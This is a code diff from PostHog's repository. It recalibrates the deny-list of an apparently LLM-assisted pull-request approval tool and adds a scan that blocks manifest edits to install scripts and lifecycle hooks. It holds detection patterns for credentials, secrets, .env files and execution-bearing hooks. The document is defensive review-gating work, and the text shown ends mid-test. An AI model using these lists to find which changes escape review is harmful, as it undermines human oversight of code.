:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.
Python ab-testingai-analyticsanalyticscdpdata-warehouseexperimentsfeature-flagsjavascriptproduct-analyticspythonreactsession-replaysurveystypescriptweb-analytics
feat(stamphog): calibrate deny-list against 120 days of denial outcomes (#68064)
Paul D'Ambra4acaf59c0939
diff --git a/tools/pr-approval-agent/README.md b/tools/pr-approval-agent/README.mdindex b1e616fb300b..7fac0803f95c 100644--- a/tools/pr-approval-agent/README.md+++ b/tools/pr-approval-agent/README.md@@ -54,8 +54,11 @@ Prerequisites (hard gate)│▼Deny-list (hard gate)- - Checks file paths + PR title against sensitive categories+ - Checks file paths against sensitive categories- Any match → gates DENY+ - PR-title keywords never deny on their own — they surface as scrutiny+ flags the LLM must verify against the diff (REFUSE if the change+ behaviorally touches the flagged domain, judge normally if incidental)│▼Size ceiling (hard gate)@@ -147,15 +150,33 @@ Sub-classified by risk to calibrate scrutiny:Deny-listed categories where even a small diff can have high blast radius:-| Category | Patterns |-| ------------------ | -------------------------------------------------------------------------------------------- |-| **auth** | auth, login, signup, session, token, oauth, saml, sso, permission, oidc, credential, etc. |-| **crypto_secrets** | crypto, encrypt, decrypt, secret, key, cert, signing, .env, vault |-| **migrations** | migrations/, migrate, backfill, schema_change |-| **infra_cicd** | terraform, k8s, helm, dockerfile, .github/workflows, deploy, iam, cloudflare, etc. |-| **billing** | billing, payment, stripe, invoice, subscription, pricing |-| **public_api** | openapi, api_schema, swagger, public_api |-| **deps_toolchain** | package.json, requirements.txt, pyproject.toml, pnpm-lock, uv.lock, Cargo.toml, go.mod, etc. |+| Category | Patterns |+| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |+| **auth** | auth, authentication, authenticate, authenticated, authorize, authorization, authorized, login, signup, oauth, saml, sso, oidc, credential, … |+| **crypto_secrets** | crypto, encrypt, decrypt, secret, key, cert, signing, .env, vault |+| **migrations** | migrations/, migrate, backfill, schema_change |+| **infra_cicd** | terraform, k8s, helm, dockerfile, .github/workflows, .github/pr-deploy, bin/deploy, deploy.sh, iam, cloudflare, etc. |+| **billing** | billing, payment, stripe, invoice, pricing |+| **public_api** | openapi, api_schema, swagger, public_api |+| **deps_toolchain** | lockfiles (pnpm-lock, uv.lock, Cargo.lock, go.sum, …), requirements.txt, Makefile, Dockerfile, .nvmrc |++Notably absent, on purpose (calibrated against ~440 deny-listed PRs over 120 days):+`subscription` (means scheduled insight deliveries here, not payments),+`routing` (every match was app-level DRF routing, never infra), and the bare word `deploy`+(matches deploy-timing docs and unrelated code); narrow literals `bin/deploy`, `deploy.sh`,+and `.github/pr-deploy` cover real deployment artifacts instead.+Dependency _manifests_ (package.json, pyproject.toml, tsconfig, Cargo.toml,+go.mod) don't hard-deny either: without a lockfile change they can't pull in+third-party code (CI installs are frozen-lockfile). Three guards cover the+residual risk that manifest scripts/hooks execute in CI: a deterministic scan+of the manifest's diff hard-denies edits to known scripts/lifecycle/build+keys (see `manifest_risk.py` — fails closed if the diff can't be read),+manifest PRs are kept out of the T0 fast path, and the reviewer prompt must+REFUSE on execution-bearing changes the scan can't name.+Data warehouse connector sources (`products/warehouse_sources/.../sources/`)+are exempt from the **auth** and **billing** categories — connector code+legitimately does OAuth and talks to the Stripe API without touching+PostHog's auth system or its billing.The **migrations** deny-list is bypassed when the `Migration risk` check on the head commit concludes `success` (all migrations classified Safe). The check is published by `analyze_migration_risk` in `ci-backend.yml` and is the same signal humans see in the PR's Checks tab. See `tools/pr-approval-agent/migration_risk.py` for how stamphog reads it.diff --git a/tools/pr-approval-agent/gates.py b/tools/pr-approval-agent/gates.pyindex aca706b92762..909cf780952d 100644--- a/tools/pr-approval-agent/gates.py+++ b/tools/pr-approval-agent/gates.py@@ -15,10 +15,20 @@ from pathlib import Path# from substring hits like "session" in "SessionAnalysis" or "key" in# "localStorage key". Patterns are compiled into regexes at import time.#-# Two pattern lists per category:-# "paths" — matched against file paths only-# "any" — matched against both file paths and the PR title-# If a category only has "any", all patterns apply everywhere.+# Only file paths hard-deny. PR titles never deny on their own: calibration+# against ~440 deny-listed PRs showed title-only hits were dominated by+# incidental mentions ("treat OAuth invalid_grant as non-retryable" in a+# connector fix) that humans approved unchanged. Title matches surface as+# scrutiny flags for the LLM instead (see detect_title_scrutiny_flags),+# which reads the actual diff and can refuse when the change really does+# touch the flagged domain.+#+# Three pattern lists per category:+# "paths" — matched against file paths (hard deny)+# "any" — matched against file paths (hard deny) and the PR title+# (scrutiny flag only)+# "titles" — matched against the PR title only (scrutiny flag, never a+# deny) — for words whose path-side hits are false positives_DENY_PATTERN_DEFS: dict[str, dict[str, list[str]]] = {"auth": {@@ -34,11 +44,26 @@ _DENY_PATTERN_DEFS: dict[str, dict[str, list[str]]] = {"password","2fa","mfa",+ "authentication",+ "authenticate",+ "authorize",+ "authorization",+ r"two[_-]?factor",+ ],+ # Past participles hard-deny the wrong things as path patterns+ # (web analytics' authorized_urls.py health check is domain config,+ # not the auth system) but are natural title words.+ "titles": [+ "authenticated",+ "authorized",],# "session" and "token" match too broadly in titles and non-auth# file paths (e.g. SessionAnalysisWarning, tokenize, tokenizer).# "permission" matches permission-checking helpers everywhere.# Restrict these to path-only with tighter patterns.+ # camelCase compounds (e.g. AuthenticatedShell.tsx) don't break on+ # word boundaries when lowercased, so the "any" words above only+ # reliably match snake/kebab paths and natural-language titles."paths": ["session_auth","session_token",@@ -82,26 +107,34 @@ _DENY_PATTERN_DEFS: dict[str, dict[str, list[str]]] = {"kubernetes","helm",],+ # "routing" and bare "deploy" are gone on purpose: every historical+ # match was app-level (posthog/api/routing.py DRF routers, Slack/Teams+ # message-routing tests, deploy-timing docs), never infrastructure.+ # Narrow deploy literals below (bin/deploy, deploy.sh, .github/pr-deploy)+ # cover real deployment artifacts without re-introducing the false positives."paths": [r"k8s","dockerfile","docker-compose",r"\.github/workflows",- "deploy",+ r"\.github/pr-deploy","iam","cloudflare","cdn","waf",- "routing",+ r"(?:^|/)bin/deploy",+ r"deploy\.sh",],},"billing": {+ # "subscription" is gone on purpose: in this repo it means scheduled+ # insight/report deliveries (ee/api/subscription.py, products/exports),+ # not payments. Real billing surfaces still match via the other words."any": ["billing","payment","stripe","invoice",- "subscription","pricing",],},@@ -115,19 +148,27 @@ _DENY_PATTERN_DEFS: dict[str, dict[str, list[str]]] = {},"deps_toolchain": {# All path-only — these are literal filenames, not title words.+ # Manifests (package.json, pyproject.toml, tsconfig, Cargo.toml,+ # go.mod) deliberately don't hard-deny: without a lockfile change+ # they cannot pull in third-party code, and 69-80% of manifest-only+ # denials merged unchanged. The residual risk — manifest "scripts"/+ # lifecycle hooks execute in CI — is guarded by the reviewer prompt+ # (see the dependency-manifest rules in reviewer.py), and such PRs+ # are kept out of the T0 fast path (see is_allow_listed_only usage).+ # requirements.txt stays: it pins installed code directly, no+ # lockfile involved. .nvmrc/.tool-versions stay: they change the+ # runtime for every CI job. Makefile/Dockerfile stay: they execute."paths": [- r"package\.json",- r"requirements\.txt",- r"pyproject\.toml","pnpm-lock","package-lock",r"yarn\.lock",r"uv\.lock",- r"Cargo\.toml",- r"go\.mod",+ r"cargo\.lock",+ r"go\.sum",+ r"poetry\.lock",+ r"requirements[-\w]*\.(txt|in)","Makefile","Dockerfile",- "tsconfig",r"\.tool-versions",r"\.nvmrc",],@@ -162,6 +203,7 @@ def _compile_patterns("""Compile pattern definitions into regexes."paths" patterns use path-friendly boundaries (break on _ and -).+ "titles" patterns use natural-language word boundaries."any" patterns are compiled twice: once for paths, once for titles,and stored as a list of (path_rx, title_rx) tuples."""@@ -171,6 +213,8 @@ def _compile_patterns(for scope, patterns in groups.items():if scope == "paths":compiled[category][scope] = [_compile_pattern(p, for_paths=True) for p in patterns]+ elif scope == "titles":+ compiled[category][scope] = [_compile_pattern(p, for_paths=False) for p in patterns]else:# "any" — store (path_regex, title_regex) pairscompiled[category][scope] = [@@ -374,65 +418,66 @@ def test_only(categories: dict[str, int]) -> bool:# ── Deny / allow detection ───────────────────────────────────────-# Path prefixes exempt from the `auth` deny category. Code under these trees-# performs auth/OAuth/credential handshakes as part of its normal job — e.g.-# every data warehouse import connector — so the code and PR titles legitimately-# mention auth, oauth, token, login, etc. without touching the auth *system*.-# Without this, the `auth` deny would force T2-never on essentially every such-# PR. Other deny categories (crypto/secrets, migrations, …) still apply. Add new+# Code under these trees performs auth/OAuth/billing-API handshakes as part of+# its normal job — every data warehouse import connector (Stripe, Google Ads,+# Salesforce, …) — so file names legitimately mention auth, oauth, stripe,+# api_key, etc. without touching the auth *system* or PostHog's own billing.+_CONNECTOR_SOURCE_PREFIXES = ("products/warehouse_sources/backend/temporal/data_imports/sources/",)++# Per-category path prefixes exempt from deny matching. Categories not listed+# (crypto_secrets, migrations, infra_cicd, …) apply everywhere — connector+# code that stores customer API keys still deserves the crypto gate. Add new# exempt trees here rather than special-casing in detect_deny_categories.-AUTH_EXEMPT_PATH_PREFIXES = ("products/warehouse_sources/backend/temporal/data_imports/sources/",)+DENY_EXEMPT_PATH_PREFIXES: dict[str, tuple[str, ...]] = {+ "auth": _CONNECTOR_SOURCE_PREFIXES,+ "billing": _CONNECTOR_SOURCE_PREFIXES,+}-def _is_auth_exempt_path(path: str) -> bool:- low = path.lower()- return any(low.startswith(prefix) for prefix in AUTH_EXEMPT_PATH_PREFIXES)+def _is_exempt_path(category: str, path: str) -> bool:+ return path.lower().startswith(DENY_EXEMPT_PATH_PREFIXES.get(category, ()))+++def category_fully_exempt(category: str, files: list[str]) -> bool:+ """True when every changed file is exempt for this category.++ Used to suppress title scrutiny flags on connector-only PRs: a Stripe+ source fix legitimately says "stripe"/"oauth" in its title, and flagging+ it re-creates the friction the path exemption exists to remove.+ """+ return bool(files) and all(_is_exempt_path(category, f) for f in files)-def detect_deny_categories(files: list[str], subject: str, ignored_files: set[str] | None = None) -> list[str]:+def detect_deny_categories(files: list[str], ignored_files: set[str] | None = None) -> list[str]:+ """Categories hard-denied by the changed file paths. Titles never deny."""hits: set[str] = set()ignored_files_lower = {f.lower() for f in ignored_files or set()}- paths_lower = [f.lower() for f in files if f.lower() not in ignored_files_lower]- subject_lower = subject.lower()-- # Auth exemption for AUTH_EXEMPT_PATH_PREFIXES: drop exempt paths from auth- # path-matching, and — when any exempt path is in the change set — only let- # the PR title trip `auth` if a non-exempt file is also touched. PRs that- # touch no exempt paths are evaluated exactly as before.- auth_paths = [p for p in paths_lower if not _is_auth_exempt_path(p)]- has_exempt_path = len(auth_paths) != len(paths_lower)- auth_title_eligible = (not has_exempt_path) or bool(auth_paths)+ paths_lower = [fl for f in files if (fl := f.lower()) not in ignored_files_lower]for category, scopes in DENY_PATTERNS.items():- category_paths = auth_paths if category == "auth" else paths_lower- title_eligible = auth_title_eligible if category == "auth" else True- found = False- # "paths" patterns — only match against file paths- for rx in scopes.get("paths", []):- if found:- break- for p in category_paths:- if rx.search(p):- hits.add(category)- found = True- break- if found:- continue- # "any" patterns — match against file paths (path_rx) and title (title_rx)- for path_rx, title_rx in scopes.get("any", []):- if found:- break- for p in category_paths:- if path_rx.search(p):- hits.add(category)- found = True- break- if not found and title_eligible and title_rx.search(subject_lower):- hits.add(category)- found = True+ category_paths = [p for p in paths_lower if not _is_exempt_path(category, p)]+ path_regexes = scopes.get("paths", []) + [path_rx for path_rx, _title_rx in scopes.get("any", [])]+ if any(rx.search(p) for rx in path_regexes for p in category_paths):+ hits.add(category)return sorted(hits)+def detect_title_scrutiny_flags(subject: str) -> list[str]:+ """Categories whose keywords appear in the PR title.++ Not a gate: the reviewer prompt tells the LLM to refuse only when the+ diff behaviorally touches the flagged domain, so incidental mentions+ (an OAuth error string in a connector fix) don't force a human review.+ """+ subject_lower = subject.lower()+ return sorted(+ category+ for category, scopes in DENY_PATTERNS.items()+ if any(title_rx.search(subject_lower) for _path_rx, title_rx in scopes.get("any", []))+ or any(rx.search(subject_lower) for rx in scopes.get("titles", []))+ )++def has_dependency_changes(files: list[str]) -> bool:dep_files = {"package.json",@@ -450,6 +495,38 @@ def has_dependency_changes(files: list[str]) -> bool:return any(Path(f).name.lower() in dep_files_lower for f in files)+_LOCKFILE_NAMES = DISMISS_TIME_LOCKFILES | frozenset({"go.sum"})++# setup.py/setup.cfg/Pipfile/Gemfile execute code at install/build time even+# though no lockfile pairs with them in this repo — they need the same+# reviewer scrutiny as the lockfile-paired manifests.+_DEP_MANIFEST_NAMES = frozenset(+ {"package.json", "pyproject.toml", "cargo.toml", "go.mod", "setup.py", "setup.cfg", "pipfile", "gemfile"}+)+++def is_dependency_manifest(path: str) -> bool:+ name = Path(path).name.lower()+ if name in _DEP_MANIFEST_NAMES:+ return True+ return name.startswith("tsconfig") and name.endswith(".json")+++def dependency_manifests_without_lockfile(files: list[str]) -> list[str]:+ """Manifest files changed with no lockfile in the change set.++ Such a change cannot install new third-party code (CI installs are+ frozen-lockfile), so it passes the deny-list — but manifest scripts/hooks+ execute in CI, so the reviewer prompt gets these paths and must REFUSE if+ scripts changed. Any lockfile in the change set suppresses the flag: the+ lockfile itself hard-denies, which forces the stronger human-review path.+ """+ names = {Path(f).name.lower() for f in files}+ if names & _LOCKFILE_NAMES:+ return []+ return sorted(f for f in files if is_dependency_manifest(f))++def has_ci_workflow_changes(files: list[str]) -> bool:return any(".github/workflows" in f or ".github/actions" in f for f in files)diff --git a/tools/pr-approval-agent/manifest_risk.py b/tools/pr-approval-agent/manifest_risk.pynew file mode 100644index 000000000000..a9b7f447c7a0--- /dev/null+++ b/tools/pr-approval-agent/manifest_risk.py@@ -0,0 +1,160 @@+"""Deterministic scan of dependency-manifest changes for execution-bearing config.++Manifests without a lockfile change can't install third-party code, but+their scripts and lifecycle hooks execute in CI and on dev machines. The+reviewer prompt guards that — this module is the deterministic first line,+so a scripts edit hard-denies instead of resting solely on LLM judgment.++Parseable manifests are compared structurally (base vs head risky subtrees)+rather than by diff-line matching: editing an existing script's command+produces a changed line keyed by the script's own name, which a line scan+keyed on "scripts"/lifecycle names misses entirely. Line scanning remains+only where key and value share a line (cargo build scripts, go.mod replace+directives). Parse failures fail closed.+"""++import re+import json+import tomllib+import subprocess+from pathlib import Path++# Any change at all to these is execution-bearing — setup.py and Gemfile are+# code, and setup.cfg's declarative surface (entry_points, cmdclass) doesn't+# justify a parser for how rarely it changes.+_ANY_CHANGE_RISKY = frozenset({"setup.py", "setup.cfg", "gemfile"})++# Key-and-value share a line in go.mod, so a line scan can't be bypassed by+# editing a value without its key appearing in the diff. Only `replace` is+# risky there: a `require` bump without go.sum fails CI deterministically+# (Go defaults to -mod=readonly), so no silent fetch is possible.+_RISKY_LINE_PATTERNS: dict[str, re.Pattern[str]] = {+ "go.mod": re.compile(r"^\s*replace[\s(]"),+}+_TSCONFIG_LINE_PATTERN = re.compile(r'"(?:plugins|extends)"\s*:')+++def _package_json_risky_subtree(text: str) -> object:+ data = json.loads(text) if text.strip() else {}+ if not isinstance(data, dict):+ raise ValueError("package.json root is not an object")+ return {key: data.get(key) for key in ("scripts", "husky", "pnpm")}+++_TOML_RISKY_KEYS = frozenset({"scripts", "entry-points", "entry_points"})+# Cargo resolves manifests at build time and our CI doesn't pass --locked+# everywhere (cargo test in ci-rust.yml, cargo build in ci-mcp/ci-nodejs), so+# a dependency or feature edit without Cargo.lock silently fetches new code.+_CARGO_RISKY_KEYS = frozenset({"dependencies", "dev-dependencies", "build-dependencies", "features", "build"})+++def _collect_risky_keys(data: dict[str, object], keys: frozenset[str]) -> list[tuple[tuple[str, ...], object]]:+ """Walk a TOML dict tree and collect (path, value) for every matching key."""+ found: list[tuple[tuple[str, ...], object]] = []++ def walk(node: object, path: tuple[str, ...]) -> None:+ if not isinstance(node, dict):+ return+ for key in sorted(node):+ if key in keys:+ found.append(((*path, key), node[key]))+ walk(node[key], (*path, key))++ walk(data, ())+ return found+++def _toml_risky_subtree(text: str) -> object:+ """build-system plus every nested scripts/entry-points table, with paths."""+ data = tomllib.loads(text) if text.strip() else {}+ return [((), data.get("build-system")), *_collect_risky_keys(data, _TOML_RISKY_KEYS)]+++def _cargo_risky_subtree(text: str) -> object:+ data = tomllib.loads(text) if text.strip() else {}+ return _collect_risky_keys(data, _CARGO_RISKY_KEYS)+++def _tsconfig_risky_subtree(text: str) -> object:+ data = json.loads(text) if text.strip() else {}+ if not isinstance(data, dict):+ raise ValueError("tsconfig root is not an object")+ return (data.get("extends"), (data.get("compilerOptions") or {}).get("plugins"))+++def manifest_change_is_risky(path: str, base_text: str, head_text: str, diff_text: str) -> bool:+ """True when the manifest change adds/edits/removes execution-bearing config."""+ name = Path(path).name.lower()+ if name in _ANY_CHANGE_RISKY:+ return base_text != head_text+ if name == "package.json":+ try:+ return _package_json_risky_subtree(base_text) != _package_json_risky_subtree(head_text)+ except ValueError:+ return True+ if name in ("pyproject.toml", "pipfile"):+ try:+ return _toml_risky_subtree(base_text) != _toml_risky_subtree(head_text)+ except (tomllib.TOMLDecodeError, ValueError):+ return True+ if name == "cargo.toml":+ try:+ return _cargo_risky_subtree(base_text) != _cargo_risky_subtree(head_text)+ except tomllib.TOMLDecodeError:+ return True+ if name.startswith("tsconfig") and name.endswith(".json"):+ # tsconfig is often JSONC (comments, trailing commas); a strict-JSON+ # parse failure falls back to line scanning rather than failing+ # closed, or every commented tsconfig edit would hard-deny.+ try:+ return _tsconfig_risky_subtree(base_text) != _tsconfig_risky_subtree(head_text)+ except ValueError:+ return _scan_changed_lines(diff_text, _TSCONFIG_LINE_PATTERN)+ if name in _RISKY_LINE_PATTERNS:+ return _scan_changed_lines(diff_text, _RISKY_LINE_PATTERNS[name])+ return False+++def _scan_changed_lines(diff_text: str, pattern: re.Pattern[str]) -> bool:+ return any(+ pattern.search(line[1:])+ for line in diff_text.splitlines()+ if line[:1] in "+-" and not line.startswith(("+++", "---"))+ )+++def _git(args: list[str], repo_root: Path) -> subprocess.CompletedProcess[str]:+ return subprocess.run(["git", *args], capture_output=True, text=True, timeout=30, cwd=repo_root)+++def manifest_script_changes(manifest_paths: list[str], base_sha: str, head_sha: str, repo_root: Path) -> list[str]:+ """Manifests whose change touches scripts/hooks/build config.++ Both the structural compare and the diff are anchored at the merge base,+ matching the merge-base→head semantics of every other diff in this tool:+ comparing against the base branch *tip* would count base-side drift+ (someone else's scripts change landing on the base) as this PR's doing.+ Fails closed: if the merge base can't be resolved every manifest counts+ as risky — an unreadable repo state must not skip the deterministic gate.+ A file missing at one sha (added/deleted manifest) reads as empty.+ """+ if not manifest_paths:+ return []+ merge_base = _git(["merge-base", base_sha, head_sha], repo_root)+ if merge_base.returncode != 0:+ return list(manifest_paths)+ base = merge_base.stdout.strip()++ risky = []+ for path in manifest_paths:+ base_show = _git(["show", f"{base}:{path}"], repo_root)+ head_show = _git(["show", f"{head_sha}:{path}"], repo_root)+ diff = _git(["diff", f"{base}..{head_sha}", "--", path], repo_root)+ if manifest_change_is_risky(+ path,+ base_show.stdout if base_show.returncode == 0 else "",+ head_show.stdout if head_show.returncode == 0 else "",+ diff.stdout if diff.returncode == 0 else "",+ ):+ risky.append(path)+ return riskydiff --git a/tools/pr-approval-agent/review_pr.py b/tools/pr-approval-agent/review_pr.pyindex 3026ee917757..1ae0d8be6b3f 100644--- a/tools/pr-approval-agent/review_pr.py+++ b/tools/pr-approval-agent/review_pr.py@@ -31,9 +31,12 @@ from gates import (MAX_FILES,MAX_LINES,assign_tier,+ category_fully_exempt,classify_files,+ dependency_manifests_without_lockfile,detect_deny_categories,detect_ownership,+ detect_title_scrutiny_flags,has_ci_workflow_changes,has_dependency_changes,is_allow_listed_only,@@ -45,6 +48,7 @@ from gates import (test_only,)from github import TRUSTED_REACTOR_BOTS, PRData, check_team_membership, fetch_pr+from manifest_risk import manifest_script_changesfrom migration_risk import migration_check_pending, safe_migration_filesfrom reviewer import Reviewer@@ -345,8 +349,28 @@ class Pipeline:breadth = scope_breadth(top_dirs)cc = parse_conventional_commit(pr.title)safe_migrations = safe_migration_files(pr.check_runs, file_paths)- deny = detect_deny_categories(file_paths, pr.title, ignored_files=safe_migrations)- allow_only = is_allow_listed_only(file_paths)+ deny = detect_deny_categories(file_paths, ignored_files=safe_migrations)+ dep_manifests = dependency_manifests_without_lockfile(file_paths)+ # Deterministic first line for the manifest scripts risk: an edit to+ # scripts/lifecycle/build keys hard-denies rather than resting solely+ # on the reviewer prompt's REFUSE instruction.+ risky_manifests = (+ manifest_script_changes(dep_manifests, pr.base_sha, pr.head_sha, REPO_ROOT) if dep_manifests else []+ )+ if risky_manifests and "deps_toolchain" not in deny:+ deny = sorted([*deny, "deps_toolchain"])+ title_flags = [+ c+ for c in detect_title_scrutiny_flags(pr.title)+ if c not in deny and not category_fully_exempt(c, file_paths)+ ]+ # Dependency manifests are .json/.toml/.cfg so they'd otherwise ride+ # the allow-list into the T0 fast path — but manifest scripts execute+ # in CI, so they get full T1 scrutiny even though they no longer deny.+ # Both checks matter: has_dependency_changes catches lockfile-paired+ # manifests, dependency_manifests_without_lockfile catches the rest+ # (tsconfig, setup.py/.cfg) that the reviewer's scripts guard covers.+ allow_only = is_allow_listed_only(file_paths) and not has_dependency_changes(file_paths) and not dep_manifestsis_test = test_only(categories)ownership_rules = parse_codeowners_soft(CODEOWNERS_SOFT)ownership = detect_ownership(file_paths, ownership_rules)@@ -377,10 +401,13 @@ class Pipeline:"commit_scope": cc["scope"],"categories": categories,"deny_categories": deny,+ "title_scrutiny_flags": title_flags,"safe_migration_files": sorted(safe_migrations),"allow_listed_only": allow_only,"is_test_only": is_test,"has_dep_changes": has_dependency_changes(file_paths),+ "dep_manifests_without_lockfile": dep_manifests,+ "manifest_script_changes": risky_manifests,"has_ci_changes": has_ci_workflow_changes(file_paths),"ownership": ownership,}@@ -429,6 +456,9 @@ class Pipeline:def _check_deny_list(self) -> tuple[bool, str]:deny = self.classification["deny_categories"]+ risky = self.classification.get("manifest_script_changes", [])+ if risky:+ return False, f"matches: {', '.join(deny)} (scripts/hooks changed in {', '.join(risky)})"if deny:return False, f"matches: {', '.join(deny)}"return True, "no deny categories matched"@@ -613,6 +643,7 @@ class Pipeline:"stamphog_files_changed": len(pr.files),"stamphog_lines_total": pr.lines_total,"stamphog_pr_reactions_count": len(pr.pr_reactions),+ "stamphog_title_scrutiny_flags": cl.get("title_scrutiny_flags", []),"stamphog_gate_verdict": gate_verdict,"stamphog_llm_verdict": llm_verdict,"stamphog_final_verdict": self.final_verdict,@@ -642,6 +673,7 @@ class Pipeline:"breadth": self.classification.get("breadth", ""),"commit_type": self.classification.get("commit_type"),"deny_categories": self.classification.get("deny_categories", []),+ "title_scrutiny_flags": self.classification.get("title_scrutiny_flags", []),"safe_migration_files": self.classification.get("safe_migration_files", []),"ownership": self.classification.get("ownership", {}),},diff --git a/tools/pr-approval-agent/reviewer.py b/tools/pr-approval-agent/reviewer.pyindex 03d57db735a5..40794310f32e 100644--- a/tools/pr-approval-agent/reviewer.py+++ b/tools/pr-approval-agent/reviewer.py@@ -147,6 +147,24 @@ REVIEWER_SYSTEM = textwrap.dedent(pass/fail status are provided in the prompt — rely on those, notassumptions. You typically see T1 PRs that passed all gates.+ Title scrutiny flags (in the prompt when set): the PR title mentions a+ sensitive domain (auth, billing, infra_cicd, crypto_secrets, public_api) but no deny-listed file+ was touched. Verify against the diff: if the change behaviorally touches+ that domain (authentication/authorization flows, payment or plan logic,+ CI/deploy behavior), REFUSE and route to a human. If the keyword is+ incidental — an error string, a warehouse connector fix, a docs mention —+ judge the PR normally. A flag is a magnifying glass, not a verdict.++ Dependency manifests (in the prompt when set): the diff changes a+ manifest (package.json, pyproject.toml, tsconfig, Cargo.toml, go.mod)+ with no lockfile change, so it cannot add third-party code. A+ deterministic scan already hard-denies edits to known scripts/lifecycle/+ build keys — you are the second line for what the scan can't name. Read+ the manifest hunks in the diff: version bumps, metadata, and internal+ workspace references are fine. REFUSE if "scripts" entries, lifecycle+ hooks (postinstall, prepare, husky), or tool configuration that executes+ commands were added or changed — those run in CI and on dev machines.+T1 sub-tiers (provided in the prompt):- T1a-trivial: ≤20 lines, ≤3 files, single area- T1b-small: ≤100 lines, ≤5 files, focused@@ -437,6 +455,22 @@ class Reviewer:elif gate_verdict == "AUTO-APPROVED":constraint = "\nGates auto-approved (T0). Confirm or flag concerns."+ title_flags = cl.get("title_scrutiny_flags", [])+ if title_flags:+ constraint += (+ f"\nTitle scrutiny flags: {', '.join(title_flags)} — the title mentions "+ "these sensitive domains but no file matching these categories was touched. Verify the "+ "diff does not behaviorally touch them; REFUSE if it does."+ )++ dep_manifests = cl.get("dep_manifests_without_lockfile", [])+ if dep_manifests:+ constraint += (+ f"\nDependency manifests changed without a lockfile: {', '.join(dep_manifests)} — "+ "no third-party code can be added, but check the manifest hunks and REFUSE if "+ "scripts or lifecycle hooks changed."+ )+file_list = "\n".join(f" {f['filename']} (+{f['additions']}/-{f['deletions']})" + (" [NEW]" if f.get("status") == "A" else "")for f in pr.filesdiff --git a/tools/pr-approval-agent/test_gates.py b/tools/pr-approval-agent/test_gates.pyindex 66ba0d218548..e6f60f87597e 100644--- a/tools/pr-approval-agent/test_gates.py+++ b/tools/pr-approval-agent/test_gates.py@@ -2,13 +2,19 @@import pytest-from gates import detect_deny_categories, is_size_exempt, substantive_size+from gates import (+ dependency_manifests_without_lockfile,+ detect_deny_categories,+ detect_title_scrutiny_flags,+ is_size_exempt,+ substantive_size,+)# ── False positives that should NOT trigger ──────────────────────@pytest.mark.parametrize(- "files, subject",+ "files",[pytest.param([@@ -16,157 +22,235 @@ from gates import detect_deny_categories, is_size_exempt, substantive_size"frontend/src/queries/nodes/InsightViz/EditorFilters/SuggestionBanner.tsx","frontend/src/queries/nodes/InsightViz/EditorFilters/EditorFilterItems.tsx",],- "chore(insights): extract SessionAnalysisWarning, SuggestionBanner, EditorFilterItems",id="session-analysis-warning-component",),pytest.param(["frontend/src/lib/components/TaxonomicFilter/recentTaxonomicFiltersLogic.ts"],- "fix(taxonomic-filter): scope recents localStorage key by team id",- id="localstorage-key-in-title",+ id="localstorage-recents-logic",),pytest.param(["frontend/src/lib/utils/tokenizer.ts"],- "fix: improve tokenizer performance",id="tokenizer-not-auth-token",),pytest.param(["frontend/src/scenes/session-recordings/SessionRecordingPlayer.tsx"],- "feat(replay): add session recording playback controls",id="session-recording-not-auth",),pytest.param(["frontend/src/lib/components/KeyboardShortcut.tsx"],- "fix: keyboard shortcut not working",id="keyboard-not-crypto-key",),pytest.param(["frontend/src/lib/hooks/useRoutingLogic.ts"],- "fix: routing logic for dashboard",id="routing-logic-not-infra",),pytest.param(["products/signals/backend/temporal/backfill_error_tracking.py"],- "chore(sig): scopes and tags for exception capture",id="temporal-backfill-workflow-not-migration",),pytest.param(["posthog/management/commands/backfill_distinct_id_overrides.py"],- "feat: backfill distinct id overrides",id="backfill-management-command-not-migration",),pytest.param(["posthog/dags/backfill_materialized_column.py"],- "fix: dagster backfill dag",id="dagster-backfill-dag-not-migration",),pytest.param(["posthog/management/commands/migrate_team.py"],- "fix: team migration command",id="migrate-operator-command-not-migration",),+ pytest.param(+ ["ee/api/subscription.py", "ee/api/test/test_subscription.py"],+ id="insight-subscriptions-not-billing",+ ),+ pytest.param(+ ["posthog/api/routing.py"],+ id="drf-routers-not-infra",+ ),+ pytest.param(+ ["docs/internal/checking-deploy-timing.md"],+ id="deploy-timing-docs-not-infra",+ ),+ pytest.param(+ ["products/conversations/backend/api/tests/test_slack_message_routing.py"],+ id="message-routing-test-not-infra",+ ),+ pytest.param(+ ["products/web_analytics/backend/temporal/health_checks/authorized_urls.py"],+ id="authorized-urls-domain-config-not-auth",+ ),+ pytest.param(+ ["dustbin/deploy.py"],+ id="bin-deploy-needs-path-anchor",+ ),+ pytest.param(+ ["products/warehouse_sources/backend/temporal/data_imports/sources/stripe/source.py"],+ id="stripe-connector-not-billing",+ ),+ pytest.param(+ ["frontend/package.json"],+ id="manifest-without-lockfile-not-deps",+ ),+ pytest.param(+ ["pyproject.toml"],+ id="pyproject-without-lockfile-not-deps",+ ),+ pytest.param(+ ["common/esbuilder/tsconfig.json"],+ id="tsconfig-not-deps",+ ),],)-def test_no_false_positive(files: list[str], subject: str) -> None:- assert detect_deny_categories(files, subject) == []+def test_no_false_positive(files: list[str]) -> None:+ assert detect_deny_categories(files) == []# ── True positives that SHOULD trigger ───────────────────────────@pytest.mark.parametrize(- "files, subject, expected_category",+ "files, expected_category",[pytest.param(["posthog/api/authentication.py"],- "fix: auth flow redirect","auth",- id="auth-file-and-title",+ id="authentication-api-file",+ ),+ pytest.param(+ ["frontend/src/scenes/authentication/passwordResetLogic.ts"],+ "auth",+ id="authentication-scene-tree",),pytest.param(["posthog/api/login.py"],- "fix: login endpoint","auth",id="login-endpoint",),pytest.param(["posthog/models/oauth_config.py"],- "feat: add oauth config","auth",id="oauth-config",),pytest.param(["posthog/api/auth/session_token.py"],- "fix: session token refresh","auth",id="auth-session-token-path",),pytest.param(["posthog/crypto/encrypt.py"],- "feat: add encryption support","crypto_secrets",id="encryption-file",),pytest.param(["posthog/settings/.env.example"],- "chore: update env example","crypto_secrets",id="dot-env-file",),pytest.param(["posthog/api/api_key.py"],- "fix: api key rotation","crypto_secrets",id="api-key-file",),pytest.param(["posthog/models/secret_key_store.py"],- "feat: secret key management","crypto_secrets",id="secret-key-file",),pytest.param(["posthog/migrations/0400_add_column.py"],- "feat: add new column","migrations",id="migration-file",),pytest.param(["rust/persons_migrations/20260206000001_add_last_seen_at.sql"],- "feat: add last_seen_at to 